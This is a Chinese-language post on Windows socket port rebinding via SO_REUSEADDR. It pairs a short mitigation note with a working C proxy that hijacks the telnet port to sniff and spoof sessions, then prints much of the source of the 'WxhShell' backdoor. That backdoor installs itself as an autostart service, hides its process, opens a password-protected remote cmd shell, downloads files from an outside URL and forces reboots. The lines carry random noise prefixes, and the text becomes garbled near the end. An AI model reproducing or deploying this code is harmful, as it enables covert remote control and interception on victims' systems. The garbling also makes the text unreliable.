在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
mrc% 6Ri s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
D(z}c, z8n=\xL saddr.sin_family = AF_INET;
A7eF.V& 0\/cTNN saddr.sin_addr.s_addr = htonl(INADDR_ANY);
7QnQ=gu h#EksX bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
/kK%}L_D ?H30 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
0q4E^}iR n91@{U)QJ3 这意味着什么?意味着可以进行如下的攻击:
=
nIl$9 I4Y;9Gg 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
v"Z`#Bi !}+rg2 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
f\/'Fy0 K4.GAGd 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
_,G^#$pH Y<h [5 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
~WKcO& 94Hs.S) 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
"{1SDbwmMo Ho_ 2zx:8b 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
mh5ozv$ +6i~Rx> 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
7K.in3M( $$GmundqB #include
` 6'dhB #include
0P%,1M3d #include
|o5F%1o #include
~"IjT'W3 DWORD WINAPI ClientThread(LPVOID lpParam);
xklXV int main()
u djahI<{ {
`3QAXDWE WORD wVersionRequested;
Y+[Z,
DWORD ret;
L)mb.U$`c| WSADATA wsaData;
r6u)
6J= BOOL val;
c^%vyBMY SOCKADDR_IN saddr;
Uiz#QGt SOCKADDR_IN scaddr;
|cBeyqr int err;
E\GD hfTQ SOCKET s;
9^AfT>b~f SOCKET sc;
eHt |O~ int caddsize;
s?}m~Pl HANDLE mt;
sz?/4tY DWORD tid;
~?BN4ptc wVersionRequested = MAKEWORD( 2, 2 );
h^`!kp err = WSAStartup( wVersionRequested, &wsaData );
R,
J(]ew if ( err != 0 ) {
4/Wqeq,E8 printf("error!WSAStartup failed!\n");
s .xJ},E9 return -1;
L<`p;? }
;OTd< saddr.sin_family = AF_INET;
piy_9nk {,Py%.vvR //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
+OTNn@!9 lY,dyNFHV saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
en1NFP saddr.sin_port = htons(23);
Kx@Papn|6 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
n}T;q1 {
=Eimbk printf("error!socket failed!\n");
<-3_tu>l return -1;
Z~WUILx, }
a2vZ' val = TRUE;
U>@st=" //SO_REUSEADDR选项就是可以实现端口重绑定的
hM/:zC: if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
hG8!aJo {
u\uY q printf("error!setsockopt failed!\n");
+)cjW"9 return -1;
Gfbeh % }
tu%!j}3s //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
qa!3l b_'M //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
cc
%m0p //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
u]!ZW& ~|>q)4is6a if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
!-OPzfHrI {
#+<"`}]N ret=GetLastError();
kM>Bk\ printf("error!bind failed!\n");
{)c2#h return -1;
SD=kpf; }
Js706 listen(s,2);
2/coa+Qkv] while(1)
(n>gC
{
F6vN{FI caddsize = sizeof(scaddr);
#*"5F* //接受连接请求
z;F6:aBa sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
*$4 EXwt' if(sc!=INVALID_SOCKET)
GCEcg&s=\S {
:K#z~#n mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
C'a%piX if(mt==NULL)
,o\-'
{
At?]FjL6S printf("Thread Creat Failed!\n");
6y4&nTq[ break;
x9NcIa9 }
^#Ruw?D }
n!Dy-)!`O CloseHandle(mt);
7[)IP:I> }
U11bQ4ak closesocket(s);
C@7<0w WSACleanup();
(/oHj^>3N` return 0;
z(yJ/~m }
O6gl[a ZN DWORD WINAPI ClientThread(LPVOID lpParam)
tzKIi_2 {
2L!wbeTb; SOCKET ss = (SOCKET)lpParam;
SMMsXH SOCKET sc;
DviR D[+q" unsigned char buf[4096];
X`n)]~ SOCKADDR_IN saddr;
v"po}K long num;
rda/ DWORD val;
R[l9f8 DWORD ret;
!qF U //如果是隐藏端口应用的话,可以在此处加一些判断
\*(A1Vk //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
j\o<r0I saddr.sin_family = AF_INET;
&YU;
K& saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
u3Qm"? $` saddr.sin_port = htons(23);
I1Jo 8s if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
42{\u 08Z {
LZ?z5U: printf("error!socket failed!\n");
*G6Py,- !f return -1;
.*3.47O }
}K8W%h<3S val = 100;
lO=Nw+'$S if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
`ecIy_O3P& {
v*&WxP^Gm ret = GetLastError();
{[<o)k .A return -1;
afOix" }
tE~OWjL if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
9MI~yIt`L {
4=T.rVS[ ret = GetLastError();
g<@P_^vo return -1;
^5:xSQ@: }
[lmghI! if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
WlJ$p$I` {
VD,p<u{r printf("error!socket connect failed!\n");
PGE|){
< closesocket(sc);
#2XX [d% closesocket(ss);
%O=U|tuc$ return -1;
.o._`"V }
2EU((Q`>=( while(1)
6w )mo)<X {
[i&EUvo //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
lHTW e' //如果是嗅探内容的话,可以再此处进行内容分析和记录
gHB*u!w7Z //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
8`0/?MZ) num = recv(ss,buf,4096,0);
&N`s@Ka if(num>0)
a___SYl
'K send(sc,buf,num,0);
mw[T[ else if(num==0)
HVq02 Z break;
;AjY-w num = recv(sc,buf,4096,0);
Q|gRBu if(num>0)
O>h,u[0 send(ss,buf,num,0);
tz).] E
D else if(num==0)
8c6dTT4 break;
W$I^Ej}>$ }
s"7$SxMT closesocket(ss);
"$lE~d"> closesocket(sc);
]I+"";oQGB return 0 ;
}u>F}mUa }
]+!{^h$ .w.jT"uD! YEbB3N ==========================================================
pKnM= N1f ,"@Tm01os 下边附上一个代码,,WXhSHELL
R?/!7 vZ
rE9C } ==========================================================
Xq"_^ b,k%n_&n #include "stdafx.h"
e
Qz_,vTk ? 0}M'L #include <stdio.h>
!bPsJbIo> #include <string.h>
gcy'"d" #include <windows.h>
g?}$"=B #include <winsock2.h>
"L(4 EcO@ #include <winsvc.h>
/F(wb_! #include <urlmon.h>
vLc7RL X:un4B}O #pragma comment (lib, "Ws2_32.lib")
e1EFZ,EcaO #pragma comment (lib, "urlmon.lib")
<#[_S$54 6c?;-5. #define MAX_USER 100 // 最大客户端连接数
5q.d$K | #define BUF_SOCK 200 // sock buffer
>BDK?YMx #define KEY_BUFF 255 // 输入 buffer
w[WyT`6h! 6<uJ}3 #define REBOOT 0 // 重启
w6-A-M6hD #define SHUTDOWN 1 // 关机
z)Yk&;XC qG=>eRR #define DEF_PORT 5000 // 监听端口
9L"Z
~CUL #)qn$&.H #define REG_LEN 16 // 注册表键长度
*b$8O #define SVC_LEN 80 // NT服务名长度
(Ov{gj^ }%&hxhR^t3 // 从dll定义API
5yh:P3 / typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
4)cQU.(*k typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
;x|E}XD typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
zm&D#) typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
"<#-#j =&5^[:ksB // wxhshell配置信息
7M|!N_ $ struct WSCFG {
$RFy9(> int ws_port; // 监听端口
DR d|m<Z char ws_passstr[REG_LEN]; // 口令
5`!Bj0Uf int ws_autoins; // 安装标记, 1=yes 0=no
#dvH0LX? char ws_regname[REG_LEN]; // 注册表键名
o|tq&&! < char ws_svcname[REG_LEN]; // 服务名
qHGwD20 ~ char ws_svcdisp[SVC_LEN]; // 服务显示名
Mdj?;'Yv char ws_svcdesc[SVC_LEN]; // 服务描述信息
L7gZ4Hu=` char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Rr9K1io$) int ws_downexe; // 下载执行标记, 1=yes 0=no
(.CEEWj%{ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
MM+xm{4l char ws_filenam[SVC_LEN]; // 下载后保存的文件名
gJ;
*?Uq( @scy v@5)F };
$,mljJSQv GH6 HdZ // default Wxhshell configuration
?)Psf/ struct WSCFG wscfg={DEF_PORT,
-w[j`}([P9 "xuhuanlingzhe",
C\Y%FTS: 1,
h~!KNF*XW "Wxhshell",
\z~wm& "Wxhshell",
v>p UVM "WxhShell Service",
U#u=9%' "Wrsky Windows CmdShell Service",
*an^
0 "Please Input Your Password: ",
L,(H(GeX 1,
3U_-sMOB| "
http://www.wrsky.com/wxhshell.exe",
,n}h_ct "Wxhshell.exe"
>q}Ns^ .' };
#:~MtV
'=M4(h // 消息定义模块
I3ZlKI char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
%![%wI? char *msg_ws_prompt="\n\r? for help\n\r#>";
E8Rk
b} char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Ih&rXQ$ char *msg_ws_ext="\n\rExit.";
pG|+\k/B char *msg_ws_end="\n\rQuit.";
q&:UP char *msg_ws_boot="\n\rReboot...";
8)NQt$lWp char *msg_ws_poff="\n\rShutdown...";
"
hD6Z char *msg_ws_down="\n\rSave to ";
feSj3,<! \V1geSoE char *msg_ws_err="\n\rErr!";
F+c4v A}) char *msg_ws_ok="\n\rOK!";
H*gX90{!2 3ih3O char ExeFile[MAX_PATH];
]12ypcf int nUser = 0;
DE $HF*WY HANDLE handles[MAX_USER];
Pl>BTo>p' int OsIsNt;
BE#s@-zR=p LU=<?"N6 SERVICE_STATUS serviceStatus;
*hk8[ SERVICE_STATUS_HANDLE hServiceStatusHandle;
c,v?2*< !xIK<H{* // 函数声明
2;v1YKY int Install(void);
cC NyW2' int Uninstall(void);
&F8N$H int DownloadFile(char *sURL, SOCKET wsh);
bh[`uRC} int Boot(int flag);
2b[R^O} void HideProc(void);
'l&),]|$) int GetOsVer(void);
hHu?%f* int Wxhshell(SOCKET wsl);
}#b[@3/T void TalkWithClient(void *cs);
mmJ$+$JEk int CmdShell(SOCKET sock);
4@Q`8N. int StartFromService(void);
! U6 x_ int StartWxhshell(LPSTR lpCmdLine);
=vpXYj d'x'hp% VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
wa)E.(x VOID WINAPI NTServiceHandler( DWORD fdwControl );
(>LJv |wn oZ/z{` // 数据结构和表定义
++m^z` D SERVICE_TABLE_ENTRY DispatchTable[] =
lCX*Q{s22 {
)zKZ<;#y {wscfg.ws_svcname, NTServiceMain},
HW@r1[Y {NULL, NULL}
)Rlh[Y& r };
3YFbT
Z ^z _m<&r // 自我安装
# },4m int Install(void)
DJ!<:9FD {
R)>F*GsR char svExeFile[MAX_PATH];
;%wY fq~P HKEY key;
&nRbI:R strcpy(svExeFile,ExeFile);
\i2S'AblYq =!~6RwwwY // 如果是win9x系统,修改注册表设为自启动
B5pWSS if(!OsIsNt) {
8+?|4'\` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
>U.f`24 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
w]%|^: RegCloseKey(key);
/'ukeK+' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
G2,9$8qE RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
/}ADV2sF RegCloseKey(key);
A_ftf7, return 0;
-(Z%?]+ }
3jJd)C R }
` 465
H }
2JMMNpya else {
,WA[HwY- hd'JXKMy // 如果是NT以上系统,安装为系统服务
WlF}R\N! SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
T\
cJn>kCn if (schSCManager!=0)
b.4H4LV {
JDI1l_Ga SC_HANDLE schService = CreateService
;;Y>7Kn!u (
5LF#w_x schSCManager,
3[a&|!Yw wscfg.ws_svcname,
[8h~:.d` wscfg.ws_svcdisp,
fl4z'8P"( SERVICE_ALL_ACCESS,
ij|+MX SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
0o>l+c SERVICE_AUTO_START,
f\zu7,GU SERVICE_ERROR_NORMAL,
hk7kg/" svExeFile,
s4&JBm(33N NULL,
E[nJ'h<h NULL,
Tp.t.Qic NULL,
5?yc*mOZ NULL,
F s{}bQyQ NULL
&3:U&}I );
%"C%pA if (schService!=0)
;r1.Uz( {
]i@WZ( CloseServiceHandle(schService);
kzb%=EI CloseServiceHandle(schSCManager);
rDEdMT strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
7/UdE:~]*= strcat(svExeFile,wscfg.ws_svcname);
gWK N C if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
(v2.8zrJ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
U~}cib5W5 RegCloseKey(key);
Z'V"nhL return 0;
y?}R,5k }
zfBaB0 P }
`Cv@16 CloseServiceHandle(schSCManager);
"(QI7:iM }
p?#%G`dm }
z^YL$ `;R
[*7 return 1;
IuW5LS }
-IP 3I H+O^e l // 自我卸载
"AayU
int Uninstall(void)
Wb7z&vj {
\qA^3L~;5 HKEY key;
Y;B#_}yF f'-)
3T if(!OsIsNt) {
@&4s)&-F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
t)62_nu RegDeleteValue(key,wscfg.ws_regname);
Qt
VZ)777 RegCloseKey(key);
b~L8m4L if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
@:M?Re`L RegDeleteValue(key,wscfg.ws_regname);
*qN(_ RegCloseKey(key);
'-?t^@ return 0;
q@6Je(H }
wfJ["
q }
Rc.8j,] }
x#0B
"{ else {
[h=[@jiB Q*c |!<
&e SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
M .J if (schSCManager!=0)
E~| XY9U36 {
/`x)B(b SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
sO;]l"{< if (schService!=0)
Cjn)`Q8 {
M%#H>X\/ if(DeleteService(schService)!=0) {
>_m4
idq1 CloseServiceHandle(schService);
RO9oO7S CloseServiceHandle(schSCManager);
Q&;d7A.@ return 0;
^;xO-;q }
(46S^* CloseServiceHandle(schService);
(d@ = }
1 xu2$x.b CloseServiceHandle(schSCManager);
&qP@WFl }
J ;e/S6l }
gL-\@4\wc :
~R:[T2P return 1;
y9@DlK }
,x.2kb 8g!C'5 // 从指定url下载文件
]B'H(o
R<| int DownloadFile(char *sURL, SOCKET wsh)
yS2[V,vS7 {
H{4/~Z HRESULT hr;
d J;y>_ char seps[]= "/";
aDreN*n char *token;
Dn9AOi! char *file;
ZR|cZH1}C char myURL[MAX_PATH];
=nTNL .SX char myFILE[MAX_PATH];
rcyq+wY # fmv8)$W#U strcpy(myURL,sURL);
&8^1:CcE token=strtok(myURL,seps);
SyWLPh while(token!=NULL)
g0n
5&X {
{k#RWDespy file=token;
4\?GA`@ token=strtok(NULL,seps);
-?K?P=B;X }
?{bAyh/ *wY { ~zh GetCurrentDirectory(MAX_PATH,myFILE);
e52y}'L strcat(myFILE, "\\");
$sTvXf:g strcat(myFILE, file);
|n_es)A send(wsh,myFILE,strlen(myFILE),0);
9"TPAywd send(wsh,"...",3,0);
#ivN-WKCl hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
/j`vN if(hr==S_OK)
f|&ga'5g& return 0;
]*Tnu98G} else
=C[2"Y4JK0 return 1;
Nsd7?|@HI 5csqu^/y }
y,OwO4+y\ g\n0v~T+ // 系统电源模块
B&Igm<72x int Boot(int flag)
my|UlZ(qg {
IUJRP HANDLE hToken;
fsxZQ=-PW TOKEN_PRIVILEGES tkp;
bR*/d-v^ !KEnr`O2u if(OsIsNt) {
xqAXfJ. OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
~1`ZPLVG LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
e#uk+] tkp.PrivilegeCount = 1;
+l,6}tV9 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
?g5u#Q>! AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
ONkHHyT if(flag==REBOOT) {
M\f1]L|8d if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
4XprVB return 0;
F|seBBu }
&d8z`amP else {
=`oQcIkz if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
:le"FFfk return 0;
2'8$I}h }
pSLv1d"9{ }
D#~S<>u@ else {
<g^!xX<r? if(flag==REBOOT) {
<f'2dT@6 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
-}W` return 0;
WRWcB }
mu!hD^fw else {
NSPa3NE if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
ezOZHY>|# return 0;
W97%12J3 }
J:c]z9&! }
LT5rLdn )/:&i<Q: return 1;
oiS>:de%tc }
H3?HQ>&O7 =R>%}5
// win9x进程隐藏模块
w<uK-]t void HideProc(void)
qC%[J:RwF {
6,C,LT2^( Nd"Rt HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
gmY*}d`
'f if ( hKernel != NULL )
p=U/l#xO {
VS:UVe pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
cVR3_e{&H ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
=>0+BD FreeLibrary(hKernel);
\G}$+ }
DB^"iof fnUR]5\tc return;
A-"}aCmik }
bwm?\l.A 6#JdQ[IP6 // 获取操作系统版本
wM^_pah#Y5 int GetOsVer(void)
X2MQa:yksP {
?8d7/KZO OSVERSIONINFO winfo;
`y26OYo winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
DM-8azq $ GetVersionEx(&winfo);
L-LN+6r(# if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
BE;J/ return 1;
JVORz-uBs else
#0hX'8];( return 0;
nVTCbV }
kJ JUu n>w/T" // 客户端句柄模块
WG{mg/\2(C int Wxhshell(SOCKET wsl)
]J
t8]w {
4<['%7U_[ SOCKET wsh;
yvgn}F{} struct sockaddr_in client;
jQKlJi2xu DWORD myID;
M#sDPT Y{ho[% while(nUser<MAX_USER)
b Hr2LhQCN {
t ._PS3 int nSize=sizeof(client);
M@>EZ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
h9McC 3 if(wsh==INVALID_SOCKET) return 1;
Qr/8kWa0C l
@hXQ/ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
_/W[=c if(handles[nUser]==0)
6T}bD[h4? closesocket(wsh);
"rj qDpH else
%r<c>sFJN nUser++;
[Z5Lgg& }
hm%'k~ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
2>.2H OZF^w[ `w return 0;
zs@#.OEH }
9q2 >_Mv UH<nc;.B // 关闭 socket
Q}J'S5% void CloseIt(SOCKET wsh)
%0PdN@I {
CWVCYm@!kz closesocket(wsh);
_u`NIpXSP nUser--;
(O
N
\-* ExitThread(0);
1`tE Hu. }
LvJ')HG D<rO:Er?*a // 客户端请求句柄
VWlOMqL995 void TalkWithClient(void *cs)
U8Pnt|0 M {
H<M
ggs- ]U]22I'+$2 SOCKET wsh=(SOCKET)cs;
C*}TY)8 char pwd[SVC_LEN];
NX$S^Z\QI char cmd[KEY_BUFF];
?I` BbT} char chr[1];
O?8^I< int i,j;
{(7D=\eU uv++Kj! while (nUser < MAX_USER) {
3dnL\AqC g& yR - if(wscfg.ws_passstr) {
c3gy{:lb if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
M-!eL< //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
?"p:6%GFz //ZeroMemory(pwd,KEY_BUFF);
=?`5n|A* i=0;
}}3*tn<6 while(i<SVC_LEN) {
7-M$c7S Vrf+~KO7 // 设置超时
gY],
(*v fd_set FdRead;
@15%fX`*o struct timeval TimeOut;
3z[yKua\ FD_ZERO(&FdRead);
l-yQ3/: FD_SET(wsh,&FdRead);
27-<q5q TimeOut.tv_sec=8;
um@RaU TimeOut.tv_usec=0;
`0rEV_$ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
J}7iXTh if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
\o^M ,yI eH2.,wY1 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
%d+:0.+`n pwd
=chr[0]; IBx?MU#.
if(chr[0]==0xd || chr[0]==0xa) { +igFIoHTM
pwd=0; D?rQQxb
break; #&G^%1!
} IKM=Q.
7j
i++; ui4H(A'}
} =:U63
jg?B][
// 如果是非法用户,关闭 socket Dg]ua5jk
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W"fdK_F\
} )-824?Nl:
A6'G%of
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Urhh)i
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =5E G}@
jNN$/ZWm
while(1) { I"E5XVC);
NDhHU#Q9
ZeroMemory(cmd,KEY_BUFF); WigC'
>JFAE5tj&2
// 自动支持客户端 telnet标准 ^f{+p*i}:
j=0; tvptawA.
while(j<KEY_BUFF) { byM/LE7)
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \oPW
cmd[j]=chr[0]; s>
JmLtT
if(chr[0]==0xa || chr[0]==0xd) { VdR5ZP
cmd[j]=0; CTt3W>'=+
break; 06I'#:]
} *1V}vJvi
j++; fmH$1C<
} 3OV#H%
xW{_c[oA
// 下载文件 ^;B
vd!
if(strstr(cmd,"http://")) { 9)sGnD;
send(wsh,msg_ws_down,strlen(msg_ws_down),0); w%cd$"EH
if(DownloadFile(cmd,wsh)) R|h9ilc
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]*pALT6
else 65RWaz;|
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MpM-xz~
} "A^9WhUpJ
else { Tn[DF9;?
qFmvc
switch(cmd[0]) { |jW82L+!N%
w}<BO>
z
// 帮助 \LRno3
case '?': { A>^\jIB>
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i% k`/X;
break; 3|%Q{U
} tv)x(MX
// 安装 v\:>}
<gc
case 'i': { >Vc_.dR)E
if(Install()) : L`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); KYVB=14
else DY?`Y%"
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]j0v.[SX
break; I ms?^`N
} ghJ81
// 卸载 o"t+G/M
case 'r': { -MoI{3a
if(Uninstall()) RX:\@c&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); kRnh20I
else r4jW=?|
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =PyU9C-@
break; ?3Wh.%n
} -yOrNir}W
// 显示 wxhshell 所在路径 .hlr)gF&)
case 'p': { 'OSZ'F3PV
char svExeFile[MAX_PATH]; |UM':Ec
strcpy(svExeFile,"\n\r"); 3*64)Ol7t]
strcat(svExeFile,ExeFile); 0R<@*
send(wsh,svExeFile,strlen(svExeFile),0); G@h6>O
break; ]i\D*,FfU
} lRnst-inlI
// 重启 2t\a/QE)E
case 'b': { 3> -/sii
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |)i-c`x
if(Boot(REBOOT)) Y1txI
send(wsh,msg_ws_err,strlen(msg_ws_err),0); gm9e-QIHK
else { V;ZyAp
closesocket(wsh); X!,P] G
ExitThread(0); 0U ?1Yh7
m
} mkTf}[O
break; rE[*iq,#
} p+#J;.
// 关机 O9oVx4=
case 'd': { +60zJ4
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &fq-U5zH
if(Boot(SHUTDOWN)) Skl1%`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); '@RlKMnN
else { p0? XR
closesocket(wsh); =&xamA)
ExitThread(0); d~uK/R-KD
} ZT95g
break; m C_v!nL.
} tTe\#o`
// 获取shell &CF74AN#
case 's': { cysYjuI i
CmdShell(wsh); "EF:+gi#"
closesocket(wsh); A1Mr
ExitThread(0); Jz 'm&mu
break; %I;ej{*c
} J6_Hlt
// 退出 8vz9o <I
case 'x': { ~d?7\:n
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "m0>u,HmI
CloseIt(wsh); S*?'y
break; aePhtQF
} %JBp~"
// 离开 {_|~G|Z
case 'q': { /"tVOv#
send(wsh,msg_ws_end,strlen(msg_ws_end),0); i0Qg[%{9#
closesocket(wsh); I<z
/Y?
WSACleanup(); v-Ggf0RF
exit(1); \06fP4?
break; }3j/%oN.(
} ]IXKoJUf
} PDvqA{
} 8b!&TP~m1
!0`44Gbq
// 提示信息 9s6, &'
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xoml
} *5sr\b4#S
} 1Jc-hrN-
g&O%qX-
return; 5R?iTB1,
} G<9MbMG
FgrOZI;_
// shell模块句柄 7&/iuP$.
int CmdShell(SOCKET sock) 7=u\D
{ LR]P?
STARTUPINFO si; /@lXQM9T
ZeroMemory(&si,sizeof(si)); GfD!Z3
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pY!@w0.
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0^*4LM|z
PROCESS_INFORMATION ProcessInfo; j!iimdq
char cmdline[]="cmd"; rr'RX
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w'~f Z*
return 0; "X's>uM
} >e($T!}Z
:g}WN
// 自身启动模式 Ui@Q&%b
int StartFromService(void) FGG Fi(
{ PbJn8o
typedef struct *J=`"^BO
{ 52q@&')D4M
DWORD ExitStatus; Q9q:HGXxv
DWORD PebBaseAddress; 3%|LMX]M5_
DWORD AffinityMask; jl{>>TW{x
DWORD BasePriority; k+'Rh'>
ULONG UniqueProcessId; YDyOhv
ULONG InheritedFromUniqueProcessId; |s+[489g'6
